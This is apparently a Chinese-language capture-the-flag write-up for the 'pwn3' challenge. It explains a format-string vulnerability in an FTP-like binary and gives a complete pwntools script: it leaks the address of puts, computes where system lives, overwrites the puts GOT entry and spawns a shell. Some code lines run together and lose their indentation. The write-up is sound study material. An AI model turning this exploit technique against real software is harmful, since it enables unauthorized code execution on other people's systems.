pwn3是一个很基础的格式化字符串漏洞。程序一开始就将输入的username全部加1跟"sysbdmin"比较,正确以后进入下一步。main函数中有三个主要的功能函数,分别是put_file,get_file,show_dir。功能分别为保存文件名跟文件内容、根据文件名输出文件内容、根据输入文件名先后顺序输出。在get_file函数中我们发现printf(&dest)是可以利用的。
由于可以多次进行put、get、dir操作,所以我们想getshell的话,有如下思路
1.将puts函数的got.plt表的地址改成system函数的地址。
2.利用show_dir()将所显示的文件内容为"/bin/sh"。
3.最后在show_dri()函数调用puts("/bin/sh")实际上变成了调用system("/bin/sh")。
由于我们不知道system函数的地址,所以可以通过泄露got表中puts函数的地址,然后通过libc中puts函数与system函数的偏移来算出system函数的地址。
测试出来的offset为7,也就是第七个参数为我们输入数据的起止位置,所以我们可以得到payload为addr + %7$s,返回值为addr指向的内存的字符串,直到\0为止。
fmtstr_payload(offset,{key,value})函数,这个函数的作用是用来生成格式化字符串漏洞写内存的payload.
fmtstr_payload的第一个参数为offset偏移,第二个参数是一个字典,意义是往key的地址,写入value的值.也就是往got_puts地址写入system_addr的值,这样调用puts函数就变成了调用system函数。下面是代码。
from pwn import *
# context.log_level = 'debug'
#gdb.attach(pr, 'b * 0x804889B')
elf = ELF('pwn3')
libc = ELF('/lib32/libc.so.6')
username = 'rxraclhm'
p = process('./pwn3')
p.recvuntil('Name (ftp.hacker.server:Rainism):')
p.sendline(username)
def put(p,name,content):
p.recvuntil("ftp>")p.sendline('put')
p.recvuntil("upload:")
p.sendline(name)
p.recvuntil('content:')
p.sendline(content)
def get(p,name,num):
p.recvuntil('ftp>')
p.sendline('get')
p.recvuntil('get:')
p.sendline(name)
return p.recvn(num)
def dir(p):
p.recvuntil('ftp>')
p.sendline('dir')plt_puts = elf.symbols['puts']
#print('plt_puts = ' + hex(plt_puts))
got_puts = elf.got['puts']
#print('got_puts = ' + hex(got_puts))put(p,'/sh','%8$s' + p32(got_puts))
leak_g_puts = get(p,'/sh',4)#接收puts_addr的地址
puts_addr = u32(leak_g_puts)
#print('puts_addr = ' + hex(puts_addr))
system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
#print('system_addr = ' + hex(system_addr))
payload = fmtstr_payload(7, {got_puts: system_addr})#
put(p,'/bin',payload)get(p,'/bin',0)
dir(p)
p.interactive()